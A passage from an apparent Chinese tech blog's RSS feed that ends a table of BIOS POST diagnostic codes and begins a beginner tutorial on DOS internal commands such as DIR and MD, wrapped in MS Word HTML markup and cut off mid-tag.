<P><BR>--------------------------------------------------------------------------------<BR>51 无意义。 测试1Mb以上的存储器。 无意义。 <BR>52 所有ISA只读存储器ROM进行初始化，最终给PCI分配IRQ号等初始化工作。 已完成1Mb以上的存储器测试；即将准备回到实址方式。 进入键盘检测。 <BR>53 如果不是即插即用BIOS，则初始化串口、并口和设置时钟值。 保存CPU寄存器和存储器的大小，将进入实址方式。 无意义。 <BR>54 无意义。 成功地开启实址方式；即将复原准备停机时保存的寄存器。 扫描“打击键”。 <BR>55 无意义。 寄存器已复原，将停用门电路A—20的地址线。 无意义。 <BR>56 无意义。 成功地停用A—20的地址线；即将检查BIOS ROM数据区。 键盘测试结束。 <BR>57 无意义。 BIOS ROM的数据区检查了一半；继续进行。 无意义。 <BR>58 无意义。 BIOS ROM的数据区检查结束；将清除发现信息。 非设置中断测试。 <BR>59 无意义。 已清除信息；信息已显示；即将开始DMA和中断控制器的测试。 无意义。 <BR>5A 无意义。 无意义。 显示按“F2”键进行设置。 <BR>5B 无意义。 无意义。 测试基本内存地址线。 <BR>5C 无意义。 无意义。 测试640K基本内存。 <BR>5D 无意义。 无意义。 无意义。 <BR>5E 无意义。 无意义。 无意义。 <BR>5F 无意义。 无意义。 无意义。 <BR>60 设置硬盘引导扇区病毒保护功能。 通过DMA页面寄存器的测试；即将检验视频存储器。 测试扩展内存。 <BR>61 显示系统配置表。 视频存储器检验结束；即将进行DMA#l基本寄存器的测试。 无意义。 <BR>62 开始用中断19H进行系统引导。 通过DMA#l基本寄存器的测试；即将进行DMA#2寄存器的测试。 测试扩展内存地址线。 <BR>63 无意义。 通过DMA#2基本寄存器的测试；即将检查BIOS ROM数据区。 无意义。 <BR>64 无意义。 BIOS ROM数据区检查了一半，继续进行。 无意义。 <BR>65 无意义。 BIOS ROM数据区检查结束；将把DMA装置1和2编程。 无意义。 <BR>66 无意义。 DMA装置1和2编程结束；即将使用59号中断控制器作初始准备。 Cache注册表进行优化配置。&nbsp; </P>
<P>--------------------------------------------------------------------------------<BR>67 无意义。 8259初始准备已结束；即将开始键盘测试。 无意义。 <BR>68 无意义。 无意义。 使外部Cache和CPU内部Caehe都工作。 <BR>69 无意义。 无意义。 无意义。 <BR>6A 无意义。 无意义。 测试并显示外部Cache值。 <BR>6B 无意义。 无意义。 无意义。 <BR>6C 无意义。 无意义。 显示被屏蔽内容。 <BR>6D 无意义。 无意义。 无意义。 <BR>6E 无意义。 无意义。 显示附属配置信息。 <BR>6F 无意义。 无意义。 无意义。 <BR>70 无意义。 无意义。 检测到的错误代码送到屏幕显示。 <BR>71 无意义。 无意义。 无意义。 <BR>72 无意义。 无意义。 检测配置有否错误。 <BR>73 无意义。 无意义。 无意义。 <BR>74 无意义。 无意义。 测试实时时钟。 <BR>75 无意义。 无意义。 无意义。 <BR>76 无意义。 无意义。 扫查键盘错误。 <BR>77 无意义。 无意义。 无意义。 <BR>78 无意义。 无意义。 无意义。 <BR>79 无意义。 无意义。 无意义。 <BR>7A 无意义。 无意义。 锁键盘。 <BR>7B 无意义。 无意义。 无意义。 <BR>7C 无意义。 无意义。 设置硬件中断矢量。 <BR>7D 无意义。 无意义。 无意义。 <BR>7E 无意义。 无意义。 测试有否安装数学处理器。 <BR>7F 无意义。 无意义。 无意义。 <BR>80 无意义。 键盘测试开始，正在清除和检查有没有键卡住，即将使键盘复原。 关闭可编程输入/输出设备。 <BR>81 无意义。 找出键盘复原的错误卡住的健；即将发出键盘控制端口的测试命令。 无意义。 <BR>82 无意义。 键盘控制器接口测试结束，即将写入命令字节和使循环缓冲器作初始准备。 检测和安装固定RS232接口（串口）。 <BR>83 无意义。 已写入命令字节，已完成全局数据的初始准备；即将检查有没有键锁住。 无意义。 <BR>84 无意义。 已检查有没有锁住的键，即将检查存储器是否CMOS失配。 检测和安装固定并行口。&nbsp; </P>
<P>--------------------------------------------------------------------------------<BR>85 无意义。 已检查存储器的大小；即将显示软错误和口令或旁通安排。 无意义。 <BR>86 无意义。 已检查口令：即将进行旁通安排的编程。 重新打开可编程I/O设备和、检测固定I/O是否有冲突。 <BR>87 无意义。 完成安排前的编程，将进行CMOS安排的编程。 无意义。 <BR>88 无意义。 从CMOS安排程序复原清除屏幕；即将进行后面的编程。 初始化BIOS数据区。 <BR>89 无意义。 完成安排后的编程；即将显示通电屏幕信息。 无意义。 <BR>8A 无意义。 显示头一个屏幕信息。 进行扩展BIOS数据区初始化。 <BR>8B 无意义。 显示了信息：即将屏蔽主要和视频BIOS。 无意义。 <BR>8C 无意义。 成功地屏蔽主要和视频BIOS，将开始CMOS后的安排任选项的编程。 进行软驱控制器初始化。 <BR>8D 无意义。 已经安排任选项编程接着检查滑鼠和进行初始准备。 无意义。 <BR>8E 无意义。 检查了滑鼠标以及完成初始准备；即将把硬、软磁盘复位。 无意义。 <BR>8F 无意义。 软磁盘已检查，该磁碟将作初始准备，随后想备软磁碟。 无意义。 <BR>90 无意义。 软磁碟配置结束；将测试硬磁碟的存在。 硬盘控制器进行初始化。 <BR>91 无意义。 硬磁碟存在测试结束；随后配置硬磁碟。 局部总线硬盘控制器初始化。 <BR>92 无意义。 硬磁碟配置完成；即将检查BIOS ROM的数据区。 跳转到用户路径2。 <BR>93 无意义。 BIOS ROM的数据区已检查一半；继续进行。 无意义。 <BR>94 无意义。 BIOS ROM的数据区检查完毕，即调定基本和扩展存储器的大小。 关闭A20地址线。 <BR>95 无意义。 因应滑鼠和硬磁碟47型支持而调节好存储器的大小；即将检验显示存储器。 无意义。&nbsp; </P>
<P>--------------------------------------------------------------------------------<BR>96 无意义。 检验显示存储器后复原；即将进行C800:0任选ROM控制之前的初始准备。 “ES段”注册表清除。 <BR>97 无意义。 C800:0任选ROM控制之前的任何初始准备结束，接着进行任选ROM的检查及控制。 无意义。 <BR>98 无意义。 任选ROM的控制完成；即将进行任选ROM回复控制之后所需的任何处理。 查找ROM选择。 <BR>99 无意义。 任选ROM测试之后所需的任何初始准备结束；即将建立计时器的数据区或打印机基本地址。 无意义。 <BR>9A 无意义。 调定计时器和打印基本地址后的返回操作；即将调定RS—232基本地址。 屏蔽ROM选择。 <BR>9B 无意义。 在RS—232基本地址之后返回；即将进行协处理器测试之初始准备。 无意义。 <BR>9C 无意义。 协处理器测试之前所需—初始准备结束；接着使协处理器作初始准备。 建立电源节能管理。 <BR>9D 无意义。 协处理器作好初始准备，即将进行协处理器测试之后的任何初始准备。 无意义。 <BR>9E 无意义。 完成协处理器之后的初始准备，将检查扩展键盘，键盘识别符，以及数字锁定。 开放硬件中断。 <BR>9F 无意义。 已检查扩展键盘，调定识别标志，数字锁接通或断开，将发出键盘识别命令。 无意义。&nbsp; </P>
<P>--------------------------------------------------------------------------------<BR>A0 无意义。 发出键盘识别命令：即将使键盘识别标志复原。 设置时间和日期。 <BR>A1 无意义。 键盘识别标志复原；接着进行高速缓冲存储器的测试。 无意义。 <BR>A2 无意义。 高速缓冲存储器测试结束；即将显示任何软错误。 检查键盘锁。 <BR>A3 无意义。 软错误显示完毕；即将调定键盘打击的速率。 无意义。 <BR>A4 无意义。 调好键盘的打击速率，即将制订存储器的等待状态。 键盘重复输入速率的初始化。 <BR>A5 无意义。 存储器等候状态制定完毕；接着将清除屏幕。 无意义。 <BR>A6 无意义。 屏幕已清除；即将启动奇偶性和不可屏蔽中断。 无意义。 <BR>A7 无意义。 已启用不可屏蔽中断和奇偶性；即将进行控制任选ROM在E000:0之所需的任何初始准备。 无意义。 <BR>A8 无意义。 控制ROM在E000:0之前的初始准备结束，接着将控制E000:0之所需的任何初始准备。 清除“F2”键提示。 <BR>A9 无意义。 从控制E000:0 ROM返回，即将进行控制E000:0任选ROM之后所需的任何初始准备。 无意义。 <BR>AA 无意义。 在E000:0控制任选ROM之后的初始准备结束；即将显示系统的配置。 扫描“F2”键打击。 <BR>AB 无意义。 无意义。 无意义。 <BR>AC 无意义。 无意义。 进入设置。 <BR>AD 无意义。 无意义。 无意义。 <BR>AE 无意义。 无意义。 清除通电自检标志。 <BR>AF 无意义。 无意义。 无意义。 <BR>B0 无意义。 无意义。 检查非关键性错误。 <BR>B1 无意义。 无意义。 无意义。 <BR>B2 无意义。 无意义。 通电自检完成准备进入操作系统引导。 <BR>B3 无意义。 无意义。 无意义。 <BR>B4 无意义。 无意义。 蜂鸣器响一声。 <BR>B5 无意义。 无意义。 无意义。 <BR>B6 无意义。 无意义。 检测密码设置(可选)。 <BR>B7 无意义。 无意义。 无意义。 <BR>B8 无意义。 无意义。 清除全部描述表。 <BR>B9 无意义。 无意义。 无意义。 <BR>BA 无意义。 无意义。 无意义。 <BR>BB 无意义。 无意义。 无意义。 <BR>BC 无意义。 无意义。 清除校验检查值。 <BR>BD 无意义。 无意义。 无意义。 <BR>BE 程序缺省值进入控制芯片，符合可调制二进制缺省值表。 无意义。 清除屏幕(可选)。 <BR>BF 测试CMOS建立值。 无意义。 检测病毒，提示做资料备份</P><img src ="http://www.cnitblog.com/altair/aggbug/5841.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/altair/" target="_blank">Altair's Blog</a> 2005-12-28 11:51 <a href="http://www.cnitblog.com/altair/articles/5841.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>DOS的内部命令</title><link>http://www.cnitblog.com/altair/articles/2334.html</link><dc:creator>Altair's Blog</dc:creator><author>Altair's Blog</author><pubDate>Thu, 25 Aug 2005 06:11:00 GMT</pubDate><guid>http://www.cnitblog.com/altair/articles/2334.html</guid><wfw:comment>http://www.cnitblog.com/altair/comments/2334.html</wfw:comment><comments>http://www.cnitblog.com/altair/articles/2334.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/altair/comments/commentRss/2334.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/altair/services/trackbacks/2334.html</trackback:ping><description><![CDATA[<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: 16.5pt; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto"><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN">DOS</SPAN><SPAN lang=ZH-CN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma">的内部命令是进行操作的基础，完成了对它们的学习你就跨进了</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN">DOS</SPAN><SPAN lang=ZH-CN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma">系统的大门。</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN"><BR><BR></SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: blue; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN">1</SPAN><SPAN lang=ZH-CN style="FONT-SIZE: 10.5pt; COLOR: blue; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma">）</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: blue; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN">DIR</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN">--</SPAN><SPAN lang=ZH-CN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma">显示指定路径上所有文件或目录的信息</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN"><BR></SPAN><SPAN lang=ZH-CN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma">它的格式为</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN">"DIR [</SPAN><SPAN lang=ZH-CN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma">盘符：</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN">][</SPAN><SPAN lang=ZH-CN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma">路径</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN">][</SPAN><SPAN lang=ZH-CN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma">文件名</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN">] [</SPAN><SPAN lang=ZH-CN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma">参数</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN">]"</SPAN><SPAN lang=ZH-CN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma">，比如</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN">"DIR E:\FF.M3U"</SPAN><SPAN lang=ZH-CN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma">。输入后回车则会显示出相关信息（如图</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN">1</SPAN><SPAN lang=ZH-CN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma">）。另外它还有几个参数：</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN"><BR><BR></SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: red; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN">/W</SPAN><SPAN lang=ZH-CN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma">：宽屏显示，一排显示</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN">5</SPAN><SPAN lang=ZH-CN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma">个文件名，而不会显示修改时间，文件大小等信息；</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN"><BR></SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: red; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN">/P</SPAN><SPAN lang=ZH-CN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma">：分页显示，当屏幕无法将信息完成显示时，可使用其进行分页显示；</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN"><BR></SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: red; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN">/A</SPAN><SPAN lang=ZH-CN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma">：显示具有特殊属性的文件，这里的属性有</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN">"H"</SPAN><SPAN lang=ZH-CN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma">隐藏、</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN">"R"</SPAN><SPAN lang=ZH-CN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma">只读等，我们可以输入</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN">"DIR *.* /AH"</SPAN><SPAN lang=ZH-CN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma">来显示当前目录下所有具有隐藏属性的文件；</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN"><BR></SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: red; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN">/S</SPAN><SPAN lang=ZH-CN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma">：显示当前目录及其子目录下所有的文件，通过这个参数，我们可以进行某个文件或目录的查找，比如我们可以在</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN">"C:&gt;"</SPAN><SPAN lang=ZH-CN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma">后输入</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN">"DIR *.DAT /S"</SPAN><SPAN lang=ZH-CN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma">来查找</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN">C</SPAN><SPAN lang=ZH-CN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma">盘中所有后缀名为</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN">DAT</SPAN><SPAN lang=ZH-CN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma">的文件。</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN"><BR><BR></SPAN><SPAN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-ascii-font-family: Tahoma">几种参数可以同时使用，例如</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt">"DIR *.COM /W /P /S"</SPAN><SPAN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-ascii-font-family: Tahoma">。</SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt"><?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /><o:p></o:p></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: 16.5pt; TEXT-ALIGN: center; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto" align=center><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt"><?xml:namespace prefix = v ns = "urn:schemas-microsoft-com:vml" /><v:shapetype id=_x0000_t75 stroked="f" filled="f" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" o:spt="75" coordsize="21600,21600"><v:stroke joinstyle="miter"></v:stroke><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:connecttype="rect" gradientshapeok="t" o:extrusionok="f"></v:path><o:lock aspectratio="t" v:ext="edit"></o:lock></v:shapetype><v:shape id=_x0000_i1025 style="WIDTH: 264.75pt; HEIGHT: 84.75pt" alt="" type="#_x0000_t75"><v:imagedata o:href="http://www0.ccidnet.com/school/system/2001/08/10/image/1.jpg" src="file:///C:\DOCUME~1\YINGZH~1\LOCALS~1\Temp\msohtml1\01\clip_image001.jpg"></v:imagedata></v:shape><BR></SPAN><B><I><SPAN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-ascii-font-family: Tahoma">图</SPAN></I></B><B><I><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt">1</SPAN></I></B><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt"><o:p></o:p></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: 16.5pt; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto"><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: blue; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt">2</SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: blue; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-ascii-font-family: Tahoma">）</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: blue; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt">MD</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt">--</SPAN><SPAN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-ascii-font-family: Tahoma">建立目录</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt"><BR></SPAN><SPAN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-ascii-font-family: Tahoma">它的格式为</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt">"MD [</SPAN><SPAN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-ascii-font-family: Tahoma">盘符</SPAN><SPAN lang=EN-US 